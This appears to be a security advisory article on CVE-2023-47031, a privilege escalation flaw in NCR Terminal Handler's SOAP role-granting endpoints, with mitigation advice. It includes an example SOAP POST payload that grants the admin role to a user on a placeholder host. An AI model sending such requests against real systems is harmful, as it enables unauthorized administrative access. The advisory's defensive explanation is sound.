CVE-2023-47031: Critical Privilege Escalation Vulnerability in NCR Terminal Handler

Overview

The cybersecurity community has recently uncovered a severe security flaw in NCR Terminal Handler v.1.5.1, which has been assigned the identifier CVE-2023-47031. This vulnerability enables a remote attacker to escalate privileges via a crafted POST request, potentially leading to system compromise or data leakage. The flaw is particularly alarming because of its high CVSS Severity Score of 9.8, indicating a critical risk level. Any organization that uses NCR Terminal Handler v.1.5.1 should take immediate steps to address this vulnerability to protect their systems from potential attacks.

Vulnerability Summary

CVE ID: CVE-2023-47031
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

NCR Terminal Handler | v.1.5.1

How the Exploit Works

The exploit operates by an attacker sending a specially crafted POST request to the grantRolesToUsers, grantRolesToGroups, and grantRolesToOrganization SOAP API components of the NCR Terminal Handler v.1.5.1. Once the request is processed by the system, it leads to an inappropriate privilege assignment, allowing the attacker to gain escalated privileges. This exploitation can lead to unauthorized access and potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This code is an illustration and not actual exploit code.

POST /grantRolesToUsers HTTP/1.1
Host: target.example.com
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="http://www.example.com/">
<soapenv:Header/>
<soapenv:Body>
<web:grantRolesToUsers>
<web:userId>1</web:userId>
<web:roleId>admin</web:roleId>
</web:grantRolesToUsers>
</soapenv:Body>
</soapenv:Envelope>

In the above example, the attacker crafts a SOAP request to assign the ‘admin’ role to the user with ID ‘1’.

Mitigation Guidance

Users of NCR Terminal Handler v.1.5.1 are advised to apply the vendor patch as soon as possible. In the meantime, implementing a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. These tools can help detect and block attempts to exploit the vulnerability, but they are not a substitute for patching the software.